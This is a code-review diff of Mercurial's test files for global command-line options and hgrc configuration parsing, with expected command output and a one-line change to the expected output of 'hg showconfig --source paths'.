168 172 Testing -y/--noninteractive - just be sure it is parsed:
169 173
170 174 $ hg --cwd a tip -q --noninteractive
171 175 0:8580ff50825a
172 176 $ hg --cwd a tip -q -y
173 177 0:8580ff50825a
174 178
175 179 Testing -q/--quiet:
176 180
177 181 $ hg -R a -q tip
178 182 0:8580ff50825a
179 183 $ hg -R b -q tip
180 184 0:b6c483daf290
181 185 $ hg -R c --quiet parents
182 186 0:8580ff50825a
183 187 1:b6c483daf290
184 188
185 189 Testing -v/--verbose:
186 190
187 191 $ hg --cwd c head -v
188 192 changeset: 1:b6c483daf290
189 193 tag: tip
190 194 parent: -1:000000000000
191 195 user: test
192 196 date: Thu Jan 01 00:00:01 1970 +0000
193 197 files: b
194 198 description:
195 199 b
196 200
197 201
198 202 changeset: 0:8580ff50825a
199 203 user: test
200 204 date: Thu Jan 01 00:00:01 1970 +0000
201 205 files: a
202 206 description:
203 207 a
204 208
205 209
206 210 $ hg --cwd b tip --verbose
207 211 changeset: 0:b6c483daf290
208 212 tag: tip
209 213 user: test
210 214 date: Thu Jan 01 00:00:01 1970 +0000
211 215 files: b
212 216 description:
213 217 b
214 218
215 219
216 220
217 221 Testing --config:
218 222
219 223 $ hg --cwd c --config paths.quuxfoo=bar paths | grep quuxfoo > /dev/null && echo quuxfoo
220 224 quuxfoo
221 225 TODO: add rhg support for detailed exit codes
222 226 #if no-rhg
223 227 $ hg --cwd c --config '' tip -q
224 228 abort: malformed --config option: '' (use --config section.name=value)
225 229 [10]
226 230 $ hg --cwd c --config a.b tip -q
227 231 abort: malformed --config option: 'a.b' (use --config section.name=value)
228 232 [10]
229 233 $ hg --cwd c --config a tip -q
230 234 abort: malformed --config option: 'a' (use --config section.name=value)
231 235 [10]
232 236 $ hg --cwd c --config a.= tip -q
233 237 abort: malformed --config option: 'a.=' (use --config section.name=value)
234 238 [10]
235 239 $ hg --cwd c --config .b= tip -q
236 240 abort: malformed --config option: '.b=' (use --config section.name=value)
237 241 [10]
238 242 #endif
239 243
240 244 Testing --debug:
241 245
242 246 $ hg --cwd c log --debug
243 247 changeset: 1:b6c483daf2907ce5825c0bb50f5716226281cc1a
244 248 tag: tip
245 249 phase: public
246 250 parent: -1:0000000000000000000000000000000000000000
247 251 parent: -1:0000000000000000000000000000000000000000
248 252 manifest: 1:23226e7a252cacdc2d99e4fbdc3653441056de49
249 253 user: test
250 254 date: Thu Jan 01 00:00:01 1970 +0000
251 255 files+: b
252 256 extra: branch=default
253 257 description:
254 258 b
255 259
256 260
257 261 changeset: 0:8580ff50825a50c8f716709acdf8de0deddcd6ab
258 262 phase: public
259 263 parent: -1:0000000000000000000000000000000000000000
260 264 parent: -1:0000000000000000000000000000000000000000
261 265 manifest: 0:a0c8bcbbb45c63b90b70ad007bf38961f64f2af0
262 266 user: test
263 267 date: Thu Jan 01 00:00:01 1970 +0000
264 268 files+: a
265 269 extra: branch=default
266 270 description:
267 271 a
268 272
269 273
270 274
271 275 Testing --traceback:
272 276
273 277 #if no-chg no-rhg
274 278 $ hg --cwd c --config x --traceback id 2>&1 | grep -i 'traceback'
275 279 Traceback (most recent call last):
276 280 Traceback (most recent call last): (py3 !)
277 281 #else
278 282 Traceback for '--config' errors not supported with chg.
279 283 $ hg --cwd c --config x --traceback id 2>&1 | grep -i 'traceback'
280 284 [1]
281 285 #endif
282 286
283 287 Testing --time:
284 288
285 289 $ hg --cwd a --time id
286 290 8580ff50825a tip
287 291 time: real * (glob)
288 292
289 293 Testing --version:
290 294
291 295 $ hg --version -q
292 296 Mercurial Distributed SCM * (glob)
293 297
294 298 hide outer repo
295 299 $ hg init
296 300
297 301 Testing -h/--help:
298 302
299 303 #if no-extraextensions
300 304
301 305 $ hg -h
302 306 Mercurial Distributed SCM
303 307
304 308 list of commands:
305 309
306 310 Repository creation:
307 311
308 312 clone make a copy of an existing repository
309 313 init create a new repository in the given directory
310 314
311 315 Remote repository management:
312 316
313 317 incoming show new changesets found in source
314 318 outgoing show changesets not found in the destination
315 319 paths show aliases for remote repositories
316 320 pull pull changes from the specified source
317 321 push push changes to the specified destination
318 322 serve start stand-alone webserver
319 323
320 324 Change creation:
321 325
322 326 commit commit the specified files or all outstanding changes
323 327
324 328 Change manipulation:
325 329
326 330 backout reverse effect of earlier changeset
327 331 graft copy changes from other branches onto the current branch
328 332 merge merge another revision into working directory
329 333
330 334 Change organization:
331 335
332 336 bookmarks create a new bookmark or list existing bookmarks
333 337 branch set or show the current branch name
334 338 branches list repository named branches
335 339 phase set or show the current phase name
336 340 tag add one or more tags for the current or given revision
337 341 tags list repository tags
338 342
339 343 File content management:
340 344
341 345 annotate show changeset information by line for each file
342 346 cat output the current or given revision of files
343 347 copy mark files as copied for the next commit
344 348 diff diff repository (or selected files)
345 349 grep search for a pattern in specified files
346 350
347 351 Change navigation:
348 352
349 353 bisect subdivision search of changesets
350 354 heads show branch heads
351 355 identify identify the working directory or specified revision
352 356 log show revision history of entire repository or files
353 357
354 358 Working directory management:
355 359
356 360 add add the specified files on the next commit
357 361 addremove add all new files, delete all missing files
358 362 files list tracked files
359 363 forget forget the specified files on the next commit
360 364 purge removes files not tracked by Mercurial
361 365 remove remove the specified files on the next commit
362 366 rename rename files; equivalent of copy + remove
363 367 resolve redo merges or set/view the merge status of files
364 368 revert restore files to their checkout state
365 369 root print the root (top) of the current working directory
366 370 shelve save and set aside changes from the working directory
367 371 status show changed files in the working directory
368 372 summary summarize working directory state
369 373 unshelve restore a shelved change to the working directory
370 374 update update working directory (or switch revisions)
371 375
372 376 Change import/export:
373 377
374 378 archive create an unversioned archive of a repository revision
375 379 bundle create a bundle file
376 380 export dump the header and diffs for one or more changesets
377 381 import import an ordered set of patches
378 382 unbundle apply one or more bundle files
379 383
380 384 Repository maintenance:
381 385
382 386 manifest output the current or given revision of the project manifest
383 387 recover roll back an interrupted transaction
384 388 verify verify the integrity of the repository
385 389
386 390 Help:
387 391
388 392 config show combined config settings from all hgrc files
389 393 help show help for a given topic or a help overview
390 394 version output version and copyright information
391 395
392 396 additional help topics:
393 397
394 398 Mercurial identifiers:
395 399
396 400 filesets Specifying File Sets
397 401 hgignore Syntax for Mercurial Ignore Files
398 402 patterns File Name Patterns
399 403 revisions Specifying Revisions
400 404 urls URL Paths
401 405
402 406 Mercurial output:
403 407
404 408 color Colorizing Outputs
405 409 dates Date Formats
406 410 diffs Diff Formats
407 411 templating Template Usage
408 412
409 413 Mercurial configuration:
410 414
411 415 config Configuration Files
412 416 environment Environment Variables
413 417 extensions Using Additional Features
414 418 flags Command-line flags
415 419 hgweb Configuring hgweb
416 420 merge-tools Merge Tools
417 421 pager Pager Support
418 422
419 423 Concepts:
420 424
421 425 bundlespec Bundle File Formats
422 426 evolution Safely rewriting history (EXPERIMENTAL)
423 427 glossary Glossary
424 428 phases Working with Phases
425 429 subrepos Subrepositories
426 430
427 431 Miscellaneous:
428 432
429 433 deprecated Deprecated Features
430 434 internals Technical implementation topics
431 435 scripting Using Mercurial from scripts and automation
432 436
433 437 (use 'hg help -v' to show built-in aliases and global options)
434 438
435 439 $ hg --help
436 440 Mercurial Distributed SCM
437 441
438 442 list of commands:
439 443
440 444 Repository creation:
441 445
442 446 clone make a copy of an existing repository
443 447 init create a new repository in the given directory
444 448
445 449 Remote repository management:
446 450
447 451 incoming show new changesets found in source
448 452 outgoing show changesets not found in the destination
449 453 paths show aliases for remote repositories
450 454 pull pull changes from the specified source
451 455 push push changes to the specified destination
452 456 serve start stand-alone webserver
453 457
454 458 Change creation:
455 459
456 460 commit commit the specified files or all outstanding changes
457 461
458 462 Change manipulation:
459 463
460 464 backout reverse effect of earlier changeset
461 465 graft copy changes from other branches onto the current branch
462 466 merge merge another revision into working directory
463 467
464 468 Change organization:
465 469
466 470 bookmarks create a new bookmark or list existing bookmarks
467 471 branch set or show the current branch name
468 472 branches list repository named branches
469 473 phase set or show the current phase name
470 474 tag add one or more tags for the current or given revision
471 475 tags list repository tags
472 476
473 477 File content management:
474 478
475 479 annotate show changeset information by line for each file
476 480 cat output the current or given revision of files
477 481 copy mark files as copied for the next commit
478 482 diff diff repository (or selected files)
479 483 grep search for a pattern in specified files
480 484
481 485 Change navigation:
482 486
483 487 bisect subdivision search of changesets
484 488 heads show branch heads
485 489 identify identify the working directory or specified revision
486 490 log show revision history of entire repository or files
487 491
488 492 Working directory management:
489 493
490 494 add add the specified files on the next commit
491 495 addremove add all new files, delete all missing files
492 496 files list tracked files
493 497 forget forget the specified files on the next commit
494 498 purge removes files not tracked by Mercurial
495 499 remove remove the specified files on the next commit
496 500 rename rename files; equivalent of copy + remove
497 501 resolve redo merges or set/view the merge status of files
498 502 revert restore files to their checkout state
499 503 root print the root (top) of the current working directory
500 504 shelve save and set aside changes from the working directory
501 505 status show changed files in the working directory
502 506 summary summarize working directory state
503 507 unshelve restore a shelved change to the working directory
504 508 update update working directory (or switch revisions)
505 509
506 510 Change import/export:
507 511
508 512 archive create an unversioned archive of a repository revision
509 513 bundle create a bundle file
510 514 export dump the header and diffs for one or more changesets
511 515 import import an ordered set of patches
512 516 unbundle apply one or more bundle files
513 517
514 518 Repository maintenance:
515 519
516 520 manifest output the current or given revision of the project manifest
517 521 recover roll back an interrupted transaction
518 522 verify verify the integrity of the repository
519 523
520 524 Help:
521 525
522 526 config show combined config settings from all hgrc files
523 527 help show help for a given topic or a help overview
524 528 version output version and copyright information
525 529
526 530 additional help topics:
527 531
528 532 Mercurial identifiers:
529 533
530 534 filesets Specifying File Sets
531 535 hgignore Syntax for Mercurial Ignore Files
532 536 patterns File Name Patterns
533 537 revisions Specifying Revisions
534 538 urls URL Paths
535 539
536 540 Mercurial output:
537 541
538 542 color Colorizing Outputs
539 543 dates Date Formats
540 544 diffs Diff Formats
541 545 templating Template Usage
542 546
543 547 Mercurial configuration:
544 548
545 549 config Configuration Files
546 550 environment Environment Variables
547 551 extensions Using Additional Features
548 552 flags Command-line flags
549 553 hgweb Configuring hgweb
550 554 merge-tools Merge Tools
551 555 pager Pager Support
552 556
553 557 Concepts:
554 558
555 559 bundlespec Bundle File Formats
556 560 evolution Safely rewriting history (EXPERIMENTAL)
557 561 glossary Glossary
558 562 phases Working with Phases
559 563 subrepos Subrepositories
560 564
561 565 Miscellaneous:
562 566
563 567 deprecated Deprecated Features
564 568 internals Technical implementation topics
565 569 scripting Using Mercurial from scripts and automation
566 570
567 571 (use 'hg help -v' to show built-in aliases and global options)
568 572
569 573 #endif
570 574
571 575 Not tested: --debugger
572 576
@@ -1,307 +1,307 b''
1 1 Use hgrc within $TESTTMP
2 2
3 3 $ HGRCPATH=`pwd`/hgrc
4 4 $ export HGRCPATH
5 5
6 6 hide outer repo
7 7 $ hg init
8 8
9 9 Use an alternate var for scribbling on hgrc to keep check-code from
10 10 complaining about the important settings we may be overwriting:
11 11
12 12 $ HGRC=`pwd`/hgrc
13 13 $ export HGRC
14 14
15 15 Basic syntax error
16 16
17 17 $ echo "invalid" > $HGRC
18 18 $ hg version
19 19 config error at $TESTTMP/hgrc:1: invalid
20 20 [255]
21 21 $ echo "" > $HGRC
22 22
23 23 Issue1199: Can't use '%' in hgrc (eg url encoded username)
24 24
25 25 $ hg init "foo%bar"
26 26 $ hg clone "foo%bar" foobar
27 27 updating to branch default
28 28 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
29 29 $ cd foobar
30 30 $ cat .hg/hgrc
31 31 # example repository config (see 'hg help config' for more info)
32 32 [paths]
33 33 default = $TESTTMP/foo%bar
34 34
35 35 # path aliases to other clones of this repo in URLs or filesystem paths
36 36 # (see 'hg help config.paths' for more info)
37 37 #
38 38 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
39 39 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
40 40 # my-clone = /home/jdoe/jdoes-clone
41 41
42 42 [ui]
43 43 # name and email (local to this repository, optional), e.g.
44 44 # username = Jane Doe <jdoe@example.com>
45 45 $ hg paths
46 46 default = $TESTTMP/foo%bar
47 47 $ hg showconfig
48 48 bundle.mainreporoot=$TESTTMP/foobar
49 49 paths.default=$TESTTMP/foo%bar
50 50 $ cd ..
51 51
52 52 Check %include
53 53
54 54 $ echo '[section]' > $TESTTMP/included
55 55 $ echo 'option = value' >> $TESTTMP/included
56 56 $ echo '%include $TESTTMP/included' >> $HGRC
57 57 $ hg showconfig section
58 58 section.option=value
59 59 #if unix-permissions no-root
60 60 $ chmod u-r $TESTTMP/included
61 61 $ hg showconfig section
62 62 config error at $TESTTMP/hgrc:2: cannot include $TESTTMP/included (Permission denied*) (glob)
63 63 [255]
64 64 #endif
65 65
66 66 issue1829: wrong indentation
67 67
68 68 $ echo '[foo]' > $HGRC
69 69 $ echo ' x = y' >> $HGRC
70 70 $ hg version
71 71 config error at $TESTTMP/hgrc:2: unexpected leading whitespace: x = y
72 72 [255]
73 73
74 74 $ "$PYTHON" -c "from __future__ import print_function; print('[foo]\nbar = a\n b\n c \n de\n fg \nbaz = bif cb \n')" \
75 75 > > $HGRC
76 76 $ hg showconfig foo
77 77 foo.bar=a\nb\nc\nde\nfg
78 78 foo.baz=bif cb
79 79
80 80 $ FAKEPATH=/path/to/nowhere
81 81 $ export FAKEPATH
82 82 $ echo '%include $FAKEPATH/no-such-file' > $HGRC
83 83 $ hg version
84 84 Mercurial Distributed SCM (version *) (glob)
85 85 (see https://mercurial-scm.org for more information)
86 86
87 87 Copyright (C) 2005-* Olivia Mackall and others (glob)
88 88 This is free software; see the source for copying conditions. There is NO
89 89 warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
90 90 $ unset FAKEPATH
91 91
92 92 make sure global options given on the cmdline take precedence
93 93
94 94 $ hg showconfig --config ui.verbose=True --quiet
95 95 bundle.mainreporoot=$TESTTMP
96 96 ui.verbose=False
97 97 ui.debug=False
98 98 ui.quiet=True
99 99
100 100 $ touch foobar/untracked
101 101 $ cat >> foobar/.hg/hgrc <<EOF
102 102 > [ui]
103 103 > verbose=True
104 104 > EOF
105 105 $ hg -R foobar st -q
106 106
107 107 username expansion
108 108
109 109 $ olduser=$HGUSER
110 110 $ unset HGUSER
111 111
112 112 $ FAKEUSER='John Doe'
113 113 $ export FAKEUSER
114 114 $ echo '[ui]' > $HGRC
115 115 $ echo 'username = $FAKEUSER' >> $HGRC
116 116
117 117 $ hg init usertest
118 118 $ cd usertest
119 119 $ touch bar
120 120 $ hg commit --addremove --quiet -m "added bar"
121 121 $ hg log --template "{author}\n"
122 122 John Doe
123 123 $ cd ..
124 124
125 125 $ hg showconfig
126 126 bundle.mainreporoot=$TESTTMP
127 127 ui.username=$FAKEUSER
128 128
129 129 $ unset FAKEUSER
130 130 $ HGUSER=$olduser
131 131 $ export HGUSER
132 132
133 133 showconfig with multiple arguments
134 134
135 135 $ echo "[alias]" > $HGRC
136 136 $ echo "log = log -g" >> $HGRC
137 137 $ echo "[defaults]" >> $HGRC
138 138 $ echo "identify = -n" >> $HGRC
139 139 $ hg showconfig alias defaults
140 140 alias.log=log -g
141 141 defaults.identify=-n
142 142 $ hg showconfig alias alias
143 143 alias.log=log -g
144 144 $ hg showconfig alias.log alias.log
145 145 alias.log=log -g
146 146 $ hg showconfig alias defaults.identify
147 147 alias.log=log -g
148 148 defaults.identify=-n
149 149 $ hg showconfig alias.log defaults.identify
150 150 alias.log=log -g
151 151 defaults.identify=-n
152 152
153 153 HGPLAIN
154 154
155 155 $ echo "[ui]" > $HGRC
156 156 $ echo "debug=true" >> $HGRC
157 157 $ echo "fallbackencoding=ASCII" >> $HGRC
158 158 $ echo "quiet=true" >> $HGRC
159 159 $ echo "slash=true" >> $HGRC
160 160 $ echo "traceback=true" >> $HGRC
161 161 $ echo "verbose=true" >> $HGRC
162 162 $ echo "style=~/.hgstyle" >> $HGRC
163 163 $ echo "logtemplate={node}" >> $HGRC
164 164 $ echo "[defaults]" >> $HGRC
165 165 $ echo "identify=-n" >> $HGRC
166 166 $ echo "[alias]" >> $HGRC
167 167 $ echo "log=log -g" >> $HGRC
168 168
169 169 customized hgrc
170 170
171 171 $ hg showconfig
172 172 read config from: $TESTTMP/hgrc
173 173 $TESTTMP/hgrc:13: alias.log=log -g
174 174 repo: bundle.mainreporoot=$TESTTMP
175 175 $TESTTMP/hgrc:11: defaults.identify=-n
176 176 $TESTTMP/hgrc:2: ui.debug=true
177 177 $TESTTMP/hgrc:3: ui.fallbackencoding=ASCII
178 178 $TESTTMP/hgrc:4: ui.quiet=true
179 179 $TESTTMP/hgrc:5: ui.slash=true
180 180 $TESTTMP/hgrc:6: ui.traceback=true
181 181 $TESTTMP/hgrc:7: ui.verbose=true
182 182 $TESTTMP/hgrc:8: ui.style=~/.hgstyle
183 183 $TESTTMP/hgrc:9: ui.logtemplate={node}
184 184
185 185 plain hgrc
186 186
187 187 $ HGPLAIN=; export HGPLAIN
188 188 $ hg showconfig --config ui.traceback=True --debug
189 189 read config from: $TESTTMP/hgrc
190 190 repo: bundle.mainreporoot=$TESTTMP
191 191 --config: ui.traceback=True
192 192 --verbose: ui.verbose=False
193 193 --debug: ui.debug=True
194 194 --quiet: ui.quiet=False
195 195
196 196 with environment variables
197 197
198 198 $ PAGER=p1 EDITOR=e1 VISUAL=e2 hg showconfig --debug
199 199 read config from: $TESTTMP/hgrc
200 200 repo: bundle.mainreporoot=$TESTTMP
201 201 $PAGER: pager.pager=p1
202 202 $VISUAL: ui.editor=e2
203 203 --verbose: ui.verbose=False
204 204 --debug: ui.debug=True
205 205 --quiet: ui.quiet=False
206 206
207 207 plain mode with exceptions
208 208
209 209 $ cat > plain.py <<EOF
210 210 > from mercurial import commands, extensions
211 211 > def _config(orig, ui, repo, *values, **opts):
212 212 > ui.write(b'plain: %r\n' % ui.plain())
213 213 > return orig(ui, repo, *values, **opts)
214 214 > def uisetup(ui):
215 215 > extensions.wrapcommand(commands.table, b'config', _config)
216 216 > EOF
217 217 $ echo "[extensions]" >> $HGRC
218 218 $ echo "plain=./plain.py" >> $HGRC
219 219 $ HGPLAINEXCEPT=; export HGPLAINEXCEPT
220 220 $ hg showconfig --config ui.traceback=True --debug
221 221 plain: True
222 222 read config from: $TESTTMP/hgrc
223 223 repo: bundle.mainreporoot=$TESTTMP
224 224 $TESTTMP/hgrc:15: extensions.plain=./plain.py
225 225 --config: ui.traceback=True
226 226 --verbose: ui.verbose=False
227 227 --debug: ui.debug=True
228 228 --quiet: ui.quiet=False
229 229 $ unset HGPLAIN
230 230 $ hg showconfig --config ui.traceback=True --debug
231 231 plain: True
232 232 read config from: $TESTTMP/hgrc
233 233 repo: bundle.mainreporoot=$TESTTMP
234 234 $TESTTMP/hgrc:15: extensions.plain=./plain.py
235 235 --config: ui.traceback=True
236 236 --verbose: ui.verbose=False
237 237 --debug: ui.debug=True
238 238 --quiet: ui.quiet=False
239 239 $ HGPLAINEXCEPT=i18n; export HGPLAINEXCEPT
240 240 $ hg showconfig --config ui.traceback=True --debug
241 241 plain: True
242 242 read config from: $TESTTMP/hgrc
243 243 repo: bundle.mainreporoot=$TESTTMP
244 244 $TESTTMP/hgrc:15: extensions.plain=./plain.py
245 245 --config: ui.traceback=True
246 246 --verbose: ui.verbose=False
247 247 --debug: ui.debug=True
248 248 --quiet: ui.quiet=False
249 249
250 250 source of paths is not mangled
251 251
252 252 $ cat >> $HGRCPATH <<EOF
253 253 > [paths]
254 254 > foo = bar
255 255 > EOF
256 256 $ hg showconfig --source paths
257 257 plain: True
258 $TESTTMP/hgrc:17: paths.foo=$TESTTMP/bar
258 $TESTTMP/hgrc:17: paths.foo=bar
259 259
260 260 Test we can skip the user configuration
261 261
262 262 $ cat >> .hg/hgrc <<EOF
263 263 > [paths]
264 264 > elephant = babar
265 265 > EOF
266 266 $ hg path
267 267 elephant = $TESTTMP/babar
268 268 foo = $TESTTMP/bar
269 269 $ HGRCSKIPREPO=1 hg path
270 270 foo = $TESTTMP/bar
271 271
272 272 $ cat >> .hg/hgrc <<EOF
273 273 > [broken
274 274 > EOF
275 275
276 276 $ hg path
277 277 config error at $TESTTMP/.hg/hgrc:3: [broken
278 278 [255]
279 279 $ HGRCSKIPREPO=1 hg path
280 280 foo = $TESTTMP/bar
281 281
282 282 Check that hgweb respect HGRCSKIPREPO=1
283 283
284 284 $ hg serve -n test -p $HGPORT -d --pid-file=hg.pid -A access.log -E errors.log
285 285 config error at $TESTTMP/.hg/hgrc:3: [broken
286 286 [255]
287 287 $ test -f hg.pid && (cat hg.pid >> $DAEMON_PIDS)
288 288 [1]
289 289 $ killdaemons.py
290 290 $ test -f access.log && cat access.log
291 291 [1]
292 292 $ test -f errors.log && cat errors.log
293 293 [1]
294 294
295 295 $ HGRCSKIPREPO=1 hg serve -n test -p $HGPORT -d --pid-file=hg.pid -A access.log -E errors.log
296 296 $ cat hg.pid >> $DAEMON_PIDS
297 297 $ killdaemons.py
298 298 $ cat access.log
299 299 $ cat errors.log
300 300
301 301 Check that zeroconf respect HGRCSKIPREPO=1
302 302
303 303 $ hg paths --config extensions.zeroconf=
304 304 config error at $TESTTMP/.hg/hgrc:3: [broken
305 305 [255]
306 306 $ HGRCSKIPREPO=1 hg paths --config extensions.zeroconf=
307 307 foo = $TESTTMP/bar
General Comments 0
You need to be logged in to leave comments. Login now